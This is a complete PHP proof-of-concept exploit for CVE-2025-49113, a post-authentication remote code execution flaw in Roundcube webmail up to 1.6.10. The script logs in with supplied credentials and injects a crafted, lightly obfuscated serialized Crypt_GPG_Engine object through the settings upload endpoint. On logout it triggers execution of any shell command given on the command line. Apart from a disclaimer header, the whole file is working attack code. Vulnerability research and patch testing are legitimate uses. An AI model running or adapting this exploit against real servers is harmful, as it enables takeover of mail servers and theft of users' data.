<?php

/**
 * Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
 *
 * Universal PoC for any PHP version
 * 
 * Author: Kirill Firsov https://x.com/k_firsov
 * Organization: FearsOff Cybersecurity (https://fearsoff.org)
 * Writeup: https://fearsoff.org/research/roundcube
 *
 * 
 * Main execution flow.
 * php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
 *
 * 
 * Disclaimer:
 *   This proof-of-concept code is provided for educational and research purposes only.
 *   The author and contributors assume no responsibility for any misuse or damage
 *   resulting from the use of this code. Unauthorized use on systems you do not own
 *   or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
 *
 * @param array<string> $argv
 * @return void
 */
function main(array $argv): void
{
    message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');

    if (count($argv) < 5) {
        message(
            sprintf(
                'Usage: php %s <target_url> <username> <password> <command>',
                basename(__FILE__)
            ),
            1
        );
    }

    [$_, $targetUrl, $username, $password, $command] = $argv;

    try {
        validateUrl($targetUrl);

        // Initial request to get CSRF token and starting session cookies
        [$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);

        // Authenticate using the initial cookie
        $sessionCookie = authenticate(
            $targetUrl,
            $username,
            $password,
            $csrfToken,
            $initialCookie
        );

        message("Command to be executed: \n" . $command);

        // Prepare and inject payload
        [$payloadName, $payloadFile] = calcPayload($command);
        injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);

        // Trigger and cleanup
        executePayload($targetUrl, $sessionCookie);

        message('Exploit executed successfully');
    } catch (\Exception $e) {
        message('Error: ' . $e->getMessage(), 1);
    }
}

// -----------------------------------------------------------------------------
// Helper functions
// -----------------------------------------------------------------------------

/**
 * Validates the target URL.
 *
 * @param string $url
 * @throws \Exception
 */
function validateUrl(string $url): void
{
    if (false === filter_var($url, FILTER_VALIDATE_URL)) {
        throw new \Exception('Invalid target URL: ' . $url);
    }
}

/**
 * Retrieves CSRF token and session cookie from initial GET.
 *
 * @param string $targetUrl
 * @return array{string, string} [urlencoded csrf token, initial cookie string]
 * @throws RuntimeException If request fails or token missing
 */
function fetchCsrfTokenAndCookie(string $targetUrl): array
{
    message('Retrieving CSRF token and session cookie...');

    $context = stream_context_create(['http' => ['method' => 'GET']]);
    $body = @file_get_contents($targetUrl . '/', false, $context);
    if (false === $body) {
        throw new \RuntimeException('Failed to fetch initial page for CSRF token');
    }

    $rawHeaders = $http_response_header ?? [];
    $headersStr = implode("\r\n", $rawHeaders);

    $token  = getToken($body);
    $cookie = getCookie($headersStr);

    return [$token, $cookie];
}

/**
 * Authenticates to Roundcube and returns the updated session cookie.
 *
 * @param string $targetUrl
 * @param string $user
 * @param string $pass
 * @param string $token
 * @param string $cookie Existing cookie from initial request
 * @return string Combined session cookie
 * @throws RuntimeException on authentication failure
 */
function authenticate(
    string $targetUrl,
    string $user,
    string $pass,
    string $token,
    string $cookie
): string {
    message("Authenticating user: {$user}");

    $postData = http_build_query([
        '_token'    => $token,
        '_task'     => 'login',
        '_action'   => 'login',
        '_timezone' => '_default_',
        '_url'      => '_task=login',
        '_user'     => $user,
        '_pass'     => $pass,
    ]);

    $headers = [
        'Content-Type: application/x-www-form-urlencoded',
        "Cookie: {$cookie}",
    ];

    $context = stream_context_create([
        'http' => [
            'method'          => 'POST',
            'header'          => implode("\r\n", $headers),
            'content'         => $postData,
            'follow_location' => 0,
        ],
    ]);

    $body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
    $respHeaders = implode("\r\n", $http_response_header ?? []);

    if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) {
        throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
    }

    message('Authentication successful');

    return getCookie($respHeaders);
}

/**
 * Injects the malicious payload via the user settings upload endpoint.
 *
 * @param string $targetUrl
 * @param string $cookie
 * @param string $payloadName
 * @param string $payloadFile
 * @return void
 * @throws \Exception
 */
function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void
{
    message('Injecting payload...');

    $boundary = '------a_rule_for_WAF_to_block_fool_exploitation';

    $multipart = implode("\r\n", [
        '--' . $boundary,
        'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
        'Content-Type: image/png',
        '',
        base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
        '--' . $boundary . '--',
    ]);

    $headers = implode("\r\n", [
        'X-Requested-With: XMLHttpRequest',
        'Content-Type: multipart/form-data; boundary=' . $boundary,
        'Cookie: ' . $cookie,
    ]);

    $context = stream_context_create([
        'http' => [
            'method'  => 'POST',
            'header'  => $headers,
            'content' => $multipart,
        ],
    ]);

    $url = sprintf(
        '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
        $targetUrl,
        urlencode($payloadName)
    );

    message('End payload: ' . $url);

    $response = @file_get_contents($url, false, $context);
    if (false === $response || strpos($response, 'preferences_time') === false) {
        throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
    }

    message('Payload injected successfully');
}

/**
 * Triggers execution of the injected payload by serializing session data.
 *
 * @param string $targetUrl
 * @param string $cookie
 * @return void
 */
function executePayload(string $targetUrl, string $cookie): void
{
    message('Executing payload...');
    $token = getToken(
        file_get_contents(
            $targetUrl . '/',
            false,
            stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
        )
    );

    file_get_contents(
        sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
        false,
        stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
    );
}

/**
 * Extracts and encodes the CSRF token from response body.
 *
 * @param string $body HTTP response body
 * @return string URL-encoded token
 * @throws RuntimeException If token is not found
 */
function getToken(string $body): string
{
    if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) {
        return rawurlencode($matches[1]);
    }

    throw new \RuntimeException('CSRF token not found in response body');
}

/**
 * Aggregates Set-Cookie headers into a single cookie string.
 *
 * @param string $headers Raw HTTP headers
 * @param string $existing Any existing cookie string to preserve
 * @return string Concatenated cookies
 */
function getCookie(string $headers, string $existing = ''): string
{
    $cookies = [];

    if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
        foreach ($matches as [$full, $key, $value]) {
            if ($value === '-del-') {
                continue;
            }
            $cookies[] = sprintf('%s=%s', $key, $value);
        }
    }

    return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
}

/**
 * Magic is happening here
 */
function calcPayload($cmd){

	class Crypt_GPG_Engine{
		private $_gpgconf;
		
		function __construct($cmd){
			$this->_gpgconf = $cmd.';#';
		}
	}

	$payload = serialize(new Crypt_GPG_Engine($cmd));
	$payload = process_serialized($payload) . 'i:0;b:0;';
	$append = strlen(12 + strlen($payload)) - 2;
	$_from = '!";i:0;'.$payload.'}";}}';
	$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png';
	
	$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation
	
	return [$_from, $_file];
}

/**
 * PHPGGC magic
 */
function process_serialized($serialized, $full = false){
	$new = '';
	$last = 0;
	$current = 0;
	$pattern = '#\bs:([0-9]+):"#';

	while(
		$current < strlen($serialized) &&
		preg_match(
			$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
		)
	)
	{
		$p_start = $matches[0][1];
		$p_start_string = $p_start + strlen($matches[0][0]);
		$length = $matches[1][0];
		$p_end_string = $p_start_string + $length;

		if(!(
			strlen($serialized) > $p_end_string + 2 &&
			substr($serialized, $p_end_string, 2) == '";'
		))
		{
			$current = $p_start_string;
			continue;
		}
		$string = substr($serialized, $p_start_string, $length);
		
		$clean_string = '';
		for($i=0; $i < strlen($string); $i++)
		{
			$letter = $string[$i];
            if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */)
				$letter = sprintf("\\%02x", ord($letter));
			
			$clean_string .= $letter;
		}

		$new .= 
			substr($serialized, $last, $p_start - $last) .
			'S:' . $matches[1][0] . ':"' . $clean_string . '";'
		;
		$last = $p_end_string + 2;
		$current = $last;
	}

	$new .= substr($serialized, $last);
	return $new;
}

/**
 * Prints a formatted message and optionally exits.
 *
 * @param string  $text     Message to print
 * @param int     $exitCode Exit code (0 to continue)
 * @return void
 */
function message(string $text, int $exitCode = 0): void
{
    echo '### ' . $text . PHP_EOL . PHP_EOL;

    if ($exitCode !== 0) {
        exit($exitCode);
    }
}

main($argv);